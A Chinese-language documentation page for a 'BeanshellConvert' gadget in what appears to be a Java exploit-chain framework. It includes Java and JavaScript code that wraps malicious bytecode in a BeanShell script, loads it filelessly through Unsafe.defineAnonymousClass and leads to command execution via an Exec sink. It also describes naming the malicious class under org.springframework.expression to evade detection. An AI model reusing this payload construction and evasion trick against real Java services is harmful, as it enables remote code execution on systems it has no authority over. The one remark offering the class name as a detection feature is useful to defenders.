- 类别:common 别名:— 优先级:—
- 作者:—
- 依赖:
bsh(BeanShell,运行时还需目标 JDK 具备可用的 JS 脚本引擎,见下)
把链尾产出的 byte[] 恶意字节码封装成一段 BeanShell 脚本字符串。该脚本被 BeanShell 引擎 eval 时,会在其内部再启动一个 JS(Nashorn/Rhino)脚本引擎,借助 sun.misc.Unsafe.defineAnonymousClass 把字节码定义为匿名类并 newInstance(),从而无落地地加载并触发恶意类。属于「表达式装配(Convert)」类构件,是 BeanShell 表达式利用(如 BeanshellRef)的中间转换环。
- 入口
tags:Beanshell_Expr、Expression—— 本 gadget 产出一段 BeanShell 表达式,供上一环「能触发 BeanShell eval」的 gadget(BeanshellRef等,其nextTags含Beanshell_Expr)承接。 - 衔接
nextTags:BytecodeConvertTag—— 其内层必须是一个产出原始字节码的BytecodeConvert类构件(最终由Exec等 sink 生成 ProcessBuilder 字节码)。 excludes:无。
public static String beanshellTemplate =
"try{\nnew javax.script.ScriptEngineManager().getEngineByName(\"js\").eval(\""
+ JsConvert.jsTemplate + "\");}catch (Exception e){}";
private String getObject(byte[] bytecode) {
String bytecodeB64 = Base64.encodeBase64String((byte[])bytecode);
return String.format(beanshellTemplate, bytecodeB64); // 把 Base64 字节码填入模板
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
context.getEngine().setGadgetParam("className",
"org.springframework.expression." + RandomStringUtils.randomAlphanumeric(16));
return this.getObject((byte[]) chain.doCreate(context));
}- 模板复用 JsConvert:
beanshellTemplate直接内嵌了 JsConvert 的jsTemplate。也就是说 BeanShell 只是「外壳」,真正加载字节码的是嵌套的一段 JS:因此虽然依赖只写了var s='%s'; var bt = java.util.Base64.getDecoder().decode(s); var theUnsafeField = Class.forName('sun.misc.Unsafe').getDeclaredField('theUnsafe'); theUnsafeField.setAccessible(true); unsafe = theUnsafeField.get(null); unsafe.defineAnonymousClass(Class.forName('java.lang.Class'), bt, null).newInstance();
bsh,实际运行仍要求目标 JDK 存在可用的 JS 引擎(Java 8~14 的 Nashorn,或 6/7 的 Rhino;JDK15+ 移除 Nashorn 后此路径失效)。 invoke顺序有讲究:先setGadgetParam("className", "org.springframework.expression.<16位随机>"),再调用chain.doCreate(context)。因为内层BytecodeConvert在doCreate时会读取该className参数为其生成的恶意类命名——这里把类名伪装成org.springframework.expression包下的随机名,降低特征可辨识度。- 产物是 String:最终返回的是一段可被 BeanShell
eval的脚本文本,交由外层BeanshellRef装入其 BeanShell 触发结构。
本类无 @Param。className 由 invoke 内部随机生成并注入 context,用户不可配。
- 依赖
bsh(BeanShell)用于外层表达式求值;内层 JS 加载字节码要求 8 ≤ JDK ≤ 14(与JsConvert相同约束,JDK15+ 无 Nashorn 则失败)。 - 采用
Unsafe.defineAnonymousClass内存加载,无需TemplatesImpl,也不落地文件。 - 类名固定伪装为
org.springframework.expression.*,可作为检测特征之一。
- BeanshellRef 利用(
[BeanshellRef, BeanshellConvert, BytecodeConvert, Exec])
- 上游(消费
Beanshell_Expr):BeanshellRef(JNDI Reference 触发 BeanShell eval)。 - 下游(
nextTags=BytecodeConvertTag):BytecodeConvert 同族的字节码转换构件 →Exec。 - 同族参照:JsConvert(去掉 BeanShell 外壳的纯 JS 版本)、其他
*Convert表达式装配构件。